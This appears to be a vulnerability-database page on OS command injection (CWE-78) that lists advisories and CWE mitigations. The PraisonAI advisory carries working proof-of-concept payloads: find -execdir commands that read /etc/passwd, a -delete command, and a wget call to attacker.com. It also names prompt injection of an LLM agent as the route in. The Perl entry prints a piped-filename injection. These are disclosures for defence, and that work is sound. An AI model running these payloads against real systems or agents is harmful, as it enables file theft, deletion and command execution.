CWE-78
AllowedImproper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Abstraction: Base · Status: Stable
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
9644 vulnerabilities reference this CWE, most recent first.
GHSA-CRRC-9PR8-2554
Vulnerability from github – Published: 2022-05-13 01:49 – Updated: 2022-05-13 01:49Quest DR Series Disk Backup software version before 4.0.3.1 allows command injection (issue 30 of 46).
{
"affected": [],
"aliases": [
"CVE-2018-11172"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-06-02T01:29:00Z",
"severity": "HIGH"
},
"details": "Quest DR Series Disk Backup software version before 4.0.3.1 allows command injection (issue 30 of 46).",
"id": "GHSA-crrc-9pr8-2554",
"modified": "2022-05-13T01:49:07Z",
"published": "2022-05-13T01:49:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-11172"
},
{
"type": "WEB",
"url": "https://www.coresecurity.com/advisories/quest-dr-series-disk-backup-multiple-vulnerabilities"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/148003/Quest-DR-Series-Disk-Backup-Software-4.0.3-Code-Execution.html"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2018/May/71"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CV2P-68F4-F4PW
Vulnerability from github – Published: 2026-05-27 15:33 – Updated: 2026-07-01 19:06picoclaw <=v0.1.2 and earlier is vulnerable to OS command injection via the ExecTool component (pkg/tools/shell.go). The guardCommand() function attempts to restrict shell command execution using a denylist of 8 regular expressions, but the denylist is incomplete.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/sipeed/picoclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.1.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-36045"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-01T19:06:33Z",
"nvd_published_at": "2026-05-27T14:16:45Z",
"severity": "HIGH"
},
"details": "picoclaw \u003c=v0.1.2 and earlier is vulnerable to OS command injection via the ExecTool component (pkg/tools/shell.go). The guardCommand() function attempts to restrict shell command execution using a denylist of 8 regular expressions, but the denylist is incomplete.",
"id": "GHSA-cv2p-68f4-f4pw",
"modified": "2026-07-01T19:06:33Z",
"published": "2026-05-27T15:33:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-36045"
},
{
"type": "WEB",
"url": "https://github.com/sipeed/picoclaw/commit/01d694b9985a66c3d7119fc9f74ce8ed4f0f21b5"
},
{
"type": "WEB",
"url": "https://gist.github.com/NucleiAv/41899be6266a9813840301577792ed68"
},
{
"type": "PACKAGE",
"url": "https://github.com/sipeed/picoclaw"
},
{
"type": "WEB",
"url": "https://github.com/sipeed/picoclaw/releases/tag/v0.1.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "picoclaw is vulnerable to OS command injection via the ExecTool component"
}
GHSA-CV3G-HJ65-PCFH
Vulnerability from github – Published: 2026-10-08 22:00 – Updated: 2026-10-08 22:00Summary
The shell command execution hardening introduced in PraisonAI npm 1.7.2 / Python 4.6.58 to fix GHSA-5jv7-2mjm-h6qj (utility-tools shell chaining) and GHSA-vjv9-7m7j-h833 (SandboxExecutor chaining) can be bypassed via find's built-in -exec action.
The fix blocks shell metacharacters (;|&`><$()${}) and uses spawn() with shell: false. However, find remains in the safe command allowlist, and its -exec ... {} + action executes commands without shell metacharacters — the + batch terminator replaces the blocked ; terminator. The same gap exists in 4 parallel implementations (verified by source inspection of each).
Details
Root cause: Each of the four implementations validates the first token of the command against an allowlist or blocklist, then passes the remaining tokens as arguments to spawn()/subprocess.Popen() with shell: false. Shell metacharacter injection is indeed blocked.
However, find is a Unix command with built-in execution actions: -exec, -execdir, -delete, -ok, -okdir. These actions are interpreted by find itself, not by the shell. They execute programs or delete files without shell metacharacters (verified: the payload find /etc -name passwd -maxdepth 1 -execdir cat {} + passes the regex at line 240 of utility-tools.ts):
find /path -exec <command> {} +
The + terminator (batch mode) avoids ; which IS blocked by the metacharacter regex.
Affected components (4 implementations, same gap):
| # | Component | File | Gap |
|---|---|---|---|
| 1 | TS utility-tools shell() |
src/praisonai-ts/src/tools/utility-tools.ts:255 |
find in safeCommands allowlist |
| 2 | TS SandboxExecutor | src/praisonai-ts/src/cli/features/sandbox-executor.ts:30-50 |
find absent from DEFAULT_BLOCKED_COMMANDS |
| 3 | Python safe_shell |
src/praisonai/praisonai/cli/features/safe_shell.py:22-58 |
find absent from BANNED_COMMANDS, present in SAFE_COMMANDS |
| 4 | Python sandbox_executor |
src/praisonai/praisonai/cli/features/sandbox_executor.py:87-91 |
find absent from blocked_commands |
Bypass analysis:
| Check | find /etc -name passwd -maxdepth 1 -execdir cat {} + |
Result |
|---|---|---|
Metachar regex /[;|&\><]/|{,},+` are not in regex |
PASS | |
Regex /\$\([^)]*\)/ |
No $(...) |
PASS |
safeCommands.includes('find') |
find IS in allowlist |
PASS |
| SandboxExecutor blocked paths | normalized.includes('/etc/passwd') → FALSE (path split: /etc + passwd) |
PASS |
spawn('find', [...], {shell:false}) |
find interprets -execdir internally |
BYPASS |
The -execdir technique also evades the SandboxExecutor's substring-based path restriction: /etc and passwd appear as separate arguments, so /etc/passwd never appears as a contiguous substring of the command string.
Preconditions:
| Precondition | How attacker obtains | Default? |
|---|---|---|
Access to shell() or SandboxExecutor |
Default built-in tool in the npm agent toolkit; reachable via prompt injection | Y |
find binary on target |
Standard Unix utility, present on Linux/macOS | Y |
find in allowlist / absent from blocklist |
Default configuration in each implementation | Y |
PoC
1. Data exfiltration via -execdir (utility-tools.ts)
const { shell } = require('praisonai/dist/tools/utility-tools');
async function poc() {
// Control: direct 'wget' is rejected (not in safeCommands)
const control = await shell('wget http://example.com');
console.log('[CONTROL] rejected:', !control.success); // true
// Bypass: find -execdir reads /etc/passwd via find's built-in action
const bypass = await shell('find /etc -name passwd -maxdepth 1 -execdir cat {} +');
console.log('[BYPASS]:', bypass.success); // true
console.log(bypass.data); // root:x:0:0:root:/root:/bin/bash ...
}
poc();
Code path: safeCommands.includes('find') → true → containsShellMetacharacters(...) → false → spawn('find', ['/etc','-name','passwd','-maxdepth','1','-execdir','cat','{}','+'], {shell:false}) → find chdirs to /etc → cat ./passwd → exit 0 → {success: true, data: "<passwd contents>"}.
2. File deletion
await shell('find /app/uploads -name "*.bak" -delete');
// -delete is a find built-in — clean exit 0, files deleted
3. Non-allowlisted command (side-effect based)
await shell('find /tmp -maxdepth 0 -exec wget -q http://attacker.com/beacon {} +');
// HTTP request fires as side effect before find returns non-zero
4. Python safe_shell
from praisonai.cli.features.safe_shell import safe_execute
result = safe_execute("find /etc -name passwd -maxdepth 1 -execdir cat {} +")
print(result.stdout) # root:x:0:0:root:/root:/bin/bash ...
Impact
An attacker who can influence the command parameter of shell() (via prompt injection directing an LLM agent, or direct API input to SandboxExecutor) achieves:
- Blocked file read:
-execdirreads files inDEFAULT_BLOCKED_PATHSby splitting the path across arguments (verified: exit 0, data returned) - File deletion:
-deletedestroys files without metacharacters (verified: clean exit 0) - Non-allowlisted command execution:
-execruns commands not in safeCommands (side effect fires regardless of exit code)
Shell substitution ($(...)) IS blocked, so the bypass is limited to executing binaries already on disk — but this includes cat, chmod, python3, curl etc.
Same severity class as GHSA-5jv7-2mjm-h6qj / GHSA-vjv9-7m7j-h833.
Suggested fix
Option A: Remove find from each safe/allowed command list (4 locations). Simplest fix.
Option B: If find must remain, parse arguments and reject -exec, -execdir, -delete, -fls, -fprint, -fprintf, -ok, -okdir flags.
Regression tests:
test('rejects find -exec', async () => {
expect((await shell('find /tmp -maxdepth 0 -exec wget http://x.com {} +')).success).toBe(false);
});
test('rejects find -execdir', async () => {
expect((await shell('find /etc -name passwd -maxdepth 1 -execdir cat {} +')).success).toBe(false);
});
test('rejects find -delete', async () => {
expect((await shell('find /app -name "*.bak" -delete')).success).toBe(false);
});
References
- GHSA-5jv7-2mjm-h6qj: Utility shell safe-command wrapper allowlist bypass via shell chaining (High 8.8)
- GHSA-vjv9-7m7j-h833: SandboxExecutor allowedCommands bypass via shell chaining (High)
- Fix commits: 2adfe7e, 2f9677a (2026-06-13)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.6.77"
},
"package": {
"ecosystem": "PyPI",
"name": "praisonai"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.6.78"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-61434"
],
"database_specific": {
"cwe_ids": [
"CWE-693",
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-08T22:00:55Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nThe shell command execution hardening introduced in PraisonAI npm 1.7.2 / Python 4.6.58 to fix GHSA-5jv7-2mjm-h6qj (utility-tools shell chaining) and GHSA-vjv9-7m7j-h833 (SandboxExecutor chaining) can be bypassed via `find`\u0027s built-in `-exec` action.\n\nThe fix blocks shell metacharacters (`` ;|\u0026`\u003e\u003c$()${} ``) and uses `spawn()` with `shell: false`. However, `find` remains in the safe command allowlist, and its `-exec ... {} +` action executes commands without shell metacharacters \u2014 the `+` batch terminator replaces the blocked `;` terminator. The same gap exists in 4 parallel implementations (verified by source inspection of each).\n\n### Details\n\n**Root cause**: Each of the four implementations validates the **first token** of the command against an allowlist or blocklist, then passes the remaining tokens as arguments to `spawn()`/`subprocess.Popen()` with `shell: false`. Shell metacharacter injection is indeed blocked.\n\nHowever, `find` is a Unix command with **built-in execution actions**: `-exec`, `-execdir`, `-delete`, `-ok`, `-okdir`. These actions are interpreted by `find` itself, not by the shell. They execute programs or delete files without shell metacharacters (verified: the payload `find /etc -name passwd -maxdepth 1 -execdir cat {} +` passes the regex at line 240 of utility-tools.ts):\n\n```\nfind /path -exec \u003ccommand\u003e {} +\n```\n\nThe `+` terminator (batch mode) avoids `;` which IS blocked by the metacharacter regex.\n\n**Affected components** (4 implementations, same gap):\n\n| # | Component | File | Gap |\n|---|---|---|---|\n| 1 | TS utility-tools `shell()` | `src/praisonai-ts/src/tools/utility-tools.ts:255` | `find` in `safeCommands` allowlist |\n| 2 | TS SandboxExecutor | `src/praisonai-ts/src/cli/features/sandbox-executor.ts:30-50` | `find` absent from `DEFAULT_BLOCKED_COMMANDS` |\n| 3 | Python `safe_shell` | `src/praisonai/praisonai/cli/features/safe_shell.py:22-58` | `find` absent from `BANNED_COMMANDS`, present in `SAFE_COMMANDS` |\n| 4 | Python `sandbox_executor` | `src/praisonai/praisonai/cli/features/sandbox_executor.py:87-91` | `find` absent from `blocked_commands` |\n\n**Bypass analysis**:\n\n| Check | `find /etc -name passwd -maxdepth 1 -execdir cat {} +` | Result |\n|---|---|---|\n| Metachar regex `/[;|\u0026\\`\u003e\u003c]/` | `{`, `}`, `+` are not in regex | PASS |\n| Regex `/\\$\\([^)]*\\)/` | No `$(...)` | PASS |\n| `safeCommands.includes(\u0027find\u0027)` | `find` IS in allowlist | PASS |\n| SandboxExecutor blocked paths | `normalized.includes(\u0027/etc/passwd\u0027)` \u2192 FALSE (path split: `/etc ` + `passwd`) | PASS |\n| `spawn(\u0027find\u0027, [...], {shell:false})` | find interprets `-execdir` internally | BYPASS |\n\nThe `-execdir` technique also evades the SandboxExecutor\u0027s substring-based path restriction: `/etc` and `passwd` appear as separate arguments, so `/etc/passwd` never appears as a contiguous substring of the command string.\n\n**Preconditions**:\n\n| Precondition | How attacker obtains | Default? |\n|---|---|---|\n| Access to `shell()` or SandboxExecutor | Default built-in tool in the npm agent toolkit; reachable via prompt injection | Y |\n| `find` binary on target | Standard Unix utility, present on Linux/macOS | Y |\n| `find` in allowlist / absent from blocklist | Default configuration in each implementation | Y |\n\n### PoC\n\n**1. Data exfiltration via -execdir (utility-tools.ts)**\n\n```javascript\nconst { shell } = require(\u0027praisonai/dist/tools/utility-tools\u0027);\n\nasync function poc() {\n // Control: direct \u0027wget\u0027 is rejected (not in safeCommands)\n const control = await shell(\u0027wget http://example.com\u0027);\n console.log(\u0027[CONTROL] rejected:\u0027, !control.success); // true\n\n // Bypass: find -execdir reads /etc/passwd via find\u0027s built-in action\n const bypass = await shell(\u0027find /etc -name passwd -maxdepth 1 -execdir cat {} +\u0027);\n console.log(\u0027[BYPASS]:\u0027, bypass.success); // true\n console.log(bypass.data); // root:x:0:0:root:/root:/bin/bash ...\n}\npoc();\n```\n\nCode path: `safeCommands.includes(\u0027find\u0027)` \u2192 true \u2192 `containsShellMetacharacters(...)` \u2192 false \u2192 `spawn(\u0027find\u0027, [\u0027/etc\u0027,\u0027-name\u0027,\u0027passwd\u0027,\u0027-maxdepth\u0027,\u00271\u0027,\u0027-execdir\u0027,\u0027cat\u0027,\u0027{}\u0027,\u0027+\u0027], {shell:false})` \u2192 find chdirs to /etc \u2192 `cat ./passwd` \u2192 exit 0 \u2192 `{success: true, data: \"\u003cpasswd contents\u003e\"}`.\n\n**2. File deletion**\n\n```javascript\nawait shell(\u0027find /app/uploads -name \"*.bak\" -delete\u0027);\n// -delete is a find built-in \u2014 clean exit 0, files deleted\n```\n\n**3. Non-allowlisted command (side-effect based)**\n\n```javascript\nawait shell(\u0027find /tmp -maxdepth 0 -exec wget -q http://attacker.com/beacon {} +\u0027);\n// HTTP request fires as side effect before find returns non-zero\n```\n\n**4. Python safe_shell**\n\n```python\nfrom praisonai.cli.features.safe_shell import safe_execute\n\nresult = safe_execute(\"find /etc -name passwd -maxdepth 1 -execdir cat {} +\")\nprint(result.stdout) # root:x:0:0:root:/root:/bin/bash ...\n```\n\n### Impact\n\nAn attacker who can influence the command parameter of `shell()` (via prompt injection directing an LLM agent, or direct API input to SandboxExecutor) achieves:\n\n- **Blocked file read**: `-execdir` reads files in `DEFAULT_BLOCKED_PATHS` by splitting the path across arguments (verified: exit 0, data returned)\n- **File deletion**: `-delete` destroys files without metacharacters (verified: clean exit 0)\n- **Non-allowlisted command execution**: `-exec` runs commands not in safeCommands (side effect fires regardless of exit code)\n\nShell substitution (`$(...)`) IS blocked, so the bypass is limited to executing binaries already on disk \u2014 but this includes `cat`, `chmod`, `python3`, `curl` etc.\n\nSame severity class as GHSA-5jv7-2mjm-h6qj / GHSA-vjv9-7m7j-h833.\n\n### Suggested fix\n\n**Option A**: Remove `find` from each safe/allowed command list (4 locations). Simplest fix.\n\n**Option B**: If `find` must remain, parse arguments and reject `-exec`, `-execdir`, `-delete`, `-fls`, `-fprint`, `-fprintf`, `-ok`, `-okdir` flags.\n\n**Regression tests**:\n```typescript\ntest(\u0027rejects find -exec\u0027, async () =\u003e {\n expect((await shell(\u0027find /tmp -maxdepth 0 -exec wget http://x.com {} +\u0027)).success).toBe(false);\n});\ntest(\u0027rejects find -execdir\u0027, async () =\u003e {\n expect((await shell(\u0027find /etc -name passwd -maxdepth 1 -execdir cat {} +\u0027)).success).toBe(false);\n});\ntest(\u0027rejects find -delete\u0027, async () =\u003e {\n expect((await shell(\u0027find /app -name \"*.bak\" -delete\u0027)).success).toBe(false);\n});\n```\n\n### References\n\n- GHSA-5jv7-2mjm-h6qj: Utility shell safe-command wrapper allowlist bypass via shell chaining (High 8.8)\n- GHSA-vjv9-7m7j-h833: SandboxExecutor allowedCommands bypass via shell chaining (High)\n- Fix commits: 2adfe7e, 2f9677a (2026-06-13)",
"id": "GHSA-cv3g-hj65-pcfh",
"modified": "2026-10-08T22:00:55Z",
"published": "2026-10-08T22:00:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-cv3g-hj65-pcfh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61434"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/praisonai-before-allowlist-bypass-via-find-exec"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "PraisonAI: Shell command allowlist bypass via find -exec built-in action"
}
GHSA-CV48-PF5F-R7W5
Vulnerability from github – Published: 2022-03-25 00:00 – Updated: 2022-03-30 00:00Tenda M3 1.10 V1.0.0.12(4856) was discovered to contain a command injection vulnerability via the component /goform/delAd.
{
"affected": [],
"aliases": [
"CVE-2022-27076"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-03-24T00:15:00Z",
"severity": "CRITICAL"
},
"details": "Tenda M3 1.10 V1.0.0.12(4856) was discovered to contain a command injection vulnerability via the component /goform/delAd.",
"id": "GHSA-cv48-pf5f-r7w5",
"modified": "2022-03-30T00:00:47Z",
"published": "2022-03-25T00:00:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-27076"
},
{
"type": "WEB",
"url": "https://github.com/GD008/vuln/blob/main/tenda_M3_delAd/M3_delAd.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CV53-45X5-8276
Vulnerability from github – Published: 2024-11-05 15:30 – Updated: 2024-11-05 18:32Netgear R8500 v1.0.2.160 was discovered to contain a command injection vulnerability in the wan_gateway parameter at bsw_fix.cgi. This vulnerability allows attackers to execute arbitrary OS commands via a crafted request.
{
"affected": [],
"aliases": [
"CVE-2024-52021"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-05T15:15:26Z",
"severity": "HIGH"
},
"details": "Netgear R8500 v1.0.2.160 was discovered to contain a command injection vulnerability in the wan_gateway parameter at bsw_fix.cgi. This vulnerability allows attackers to execute arbitrary OS commands via a crafted request.",
"id": "GHSA-cv53-45x5-8276",
"modified": "2024-11-05T18:32:11Z",
"published": "2024-11-05T15:30:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-52021"
},
{
"type": "WEB",
"url": "https://github.com/wudipjq/my_vuln/blob/main/Netgear4/vuln_47/47.md"
},
{
"type": "WEB",
"url": "https://www.netgear.com/about/security"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CV5C-2QV5-W2M2
Vulnerability from github – Published: 2024-05-20 16:51 – Updated: 2024-05-20 16:51Passbolt provides a way for system administrators to generate a PGP key for the server during installation. The wizard requests a username, an e-mail address and an optional comment. No escaping or verification is done by Passbolt, effectively allowing a user to inject bash code.
The impact is very high, but the probability is very low given that this vulnerability can only be exploited during Passbolt’s installation stage.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "passbolt/passbolt_api"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.7.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2024-05-20T16:51:28Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "Passbolt provides a way for system administrators to generate a PGP key for the server during installation. The wizard requests a username, an e-mail address and an optional comment. No escaping or verification is done by Passbolt, effectively allowing a user to inject bash code.\n\nThe impact is very high, but the probability is very low given that this vulnerability can only be exploited during Passbolt\u2019s installation stage.",
"id": "GHSA-cv5c-2qv5-w2m2",
"modified": "2024-05-20T16:51:28Z",
"published": "2024-05-20T16:51:28Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/passbolt/passbolt_api/commit/be84671676ebac43d49e326a14f1afe259777611"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/passbolt/passbolt_api/2019-02-11-1.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/passbolt/passbolt_api"
},
{
"type": "WEB",
"url": "https://www.passbolt.com/incidents/20190211_multiple_vulnerabilities"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Passbolt Api Remote code execution"
}
GHSA-CV76-RV4H-4MQC
Vulnerability from github – Published: 2022-06-03 00:00 – Updated: 2022-06-03 22:24OS Command Injection vulnerability in allenhwkim proctree through 0.1.1 and commit 0ac10ae575459457838f14e21d5996f2fa5c7593 for Node.js, allows attackers to execute arbitrary commands via the fix function.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "proctree"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.1.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-34082"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2022-06-03T22:24:14Z",
"nvd_published_at": "2022-06-02T14:15:00Z",
"severity": "HIGH"
},
"details": "OS Command Injection vulnerability in allenhwkim proctree through 0.1.1 and commit 0ac10ae575459457838f14e21d5996f2fa5c7593 for Node.js, allows attackers to execute arbitrary commands via the fix function.",
"id": "GHSA-cv76-rv4h-4mqc",
"modified": "2022-06-03T22:24:14Z",
"published": "2022-06-03T00:00:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-34082"
},
{
"type": "WEB",
"url": "https://advisory.checkmarx.net/advisory/CX-2021-4783"
},
{
"type": "PACKAGE",
"url": "https://github.com/allenhwkim/proctree"
},
{
"type": "WEB",
"url": "https://github.com/allenhwkim/proctree/blob/master/index.js#L46"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "OS Command Injection in proctree"
}
GHSA-CVC8-9FFC-XHF3
Vulnerability from github – Published: 2022-05-13 01:11 – Updated: 2025-04-20 03:44In the EyesOfNetwork web interface (aka eonweb) 5.1-0, module\tool_all\tools\snmpwalk.php does not properly restrict popen calls, which allows remote attackers to execute arbitrary commands via shell metacharacters in a parameter.
{
"affected": [],
"aliases": [
"CVE-2017-14119"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-09-03T20:29:00Z",
"severity": "HIGH"
},
"details": "In the EyesOfNetwork web interface (aka eonweb) 5.1-0, module\\tool_all\\tools\\snmpwalk.php does not properly restrict popen calls, which allows remote attackers to execute arbitrary commands via shell metacharacters in a parameter.",
"id": "GHSA-cvc8-9ffc-xhf3",
"modified": "2025-04-20T03:44:17Z",
"published": "2022-05-13T01:11:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-14119"
},
{
"type": "WEB",
"url": "http://kk.whitecell-club.org/index.php/archives/220"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CVFW-X385-GHQ8
Vulnerability from github – Published: 2022-05-24 17:38 – Updated: 2024-03-21 03:33** UNSUPPORTED WHEN ASSIGNED ** EVOLUCARE ECSIMAGING (aka ECS Imaging) through 6.21.5 has an OS Command Injection vulnerability via shell metacharacters and an IFS manipulation. The parameter "file" on the webpage /showfile.php can be exploited to gain root access. NOTE: This vulnerability only affects products that are no longer supported by the maintainer.
{
"affected": [],
"aliases": [
"CVE-2021-3029"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-01-07T14:15:00Z",
"severity": "CRITICAL"
},
"details": "** UNSUPPORTED WHEN ASSIGNED ** EVOLUCARE ECSIMAGING (aka ECS Imaging) through 6.21.5 has an OS Command Injection vulnerability via shell metacharacters and an IFS manipulation. The parameter \"file\" on the webpage /showfile.php can be exploited to gain root access. NOTE: This vulnerability only affects products that are no longer supported by the maintainer.",
"id": "GHSA-cvfw-x385-ghq8",
"modified": "2024-03-21T03:33:56Z",
"published": "2022-05-24T17:38:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3029"
},
{
"type": "WEB",
"url": "https://shoxxdj.fr/ecsimaging-os-injection-cve-2021-3029"
},
{
"type": "WEB",
"url": "https://www.evolucare.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CVG9-Q978-4569
Vulnerability from github – Published: 2025-06-05 12:31 – Updated: 2025-06-06 06:30File::Find::Rule through 0.34 for Perl is vulnerable to Arbitrary Code Execution when grep() encounters a crafted filename.
A file handle is opened with the 2 argument form of open() allowing an attacker controlled filename to provide the MODE parameter to open(), turning the filename into a command to be executed.
Example:
$ mkdir /tmp/poc; echo > "/tmp/poc/|id" $ perl -MFile::Find::Rule \ -E 'File::Find::Rule->grep("foo")->in("/tmp/poc")' uid=1000(user) gid=1000(user) groups=1000(user),100(users)
{
"affected": [],
"aliases": [
"CVE-2011-10007"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-06-05T12:15:22Z",
"severity": "HIGH"
},
"details": "File::Find::Rule through 0.34 for Perl is vulnerable to Arbitrary Code Execution when `grep()` encounters a crafted filename.\n\nA file handle is opened with the 2 argument form of `open()` allowing an attacker controlled filename to provide the MODE parameter to `open()`, turning the filename into a command to be executed.\n\nExample:\n\n$ mkdir /tmp/poc; echo \u003e \"/tmp/poc/|id\"\n$ perl -MFile::Find::Rule \\\n\u00a0 \u00a0 -E \u0027File::Find::Rule-\u003egrep(\"foo\")-\u003ein(\"/tmp/poc\")\u0027\nuid=1000(user) gid=1000(user) groups=1000(user),100(users)",
"id": "GHSA-cvg9-q978-4569",
"modified": "2025-06-06T06:30:25Z",
"published": "2025-06-05T12:31:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2011-10007"
},
{
"type": "WEB",
"url": "https://github.com/richardc/perl-file-find-rule/pull/4"
},
{
"type": "WEB",
"url": "https://github.com/richardc/perl-file-find-rule/commit/df58128bcee4c1da78c34d7f3fe1357e575ad56f.patch"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2025/06/msg00006.html"
},
{
"type": "WEB",
"url": "https://metacpan.org/release/RCLAMP/File-Find-Rule-0.34/source/lib/File/Find/Rule.pm#L423"
},
{
"type": "WEB",
"url": "https://rt.cpan.org/Public/Bug/Display.html?id=64504"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2025/06/05/4"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2025/06/06/1"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2025/06/06/3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
If at all possible, use library calls rather than external processes to recreate the desired functionality.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
Strategy: Attack Surface Reduction
For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-4.3
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.
Mitigation MIT-28
Strategy: Output Encoding
While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
Mitigation
If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.
Mitigation MIT-27
Strategy: Parameterization
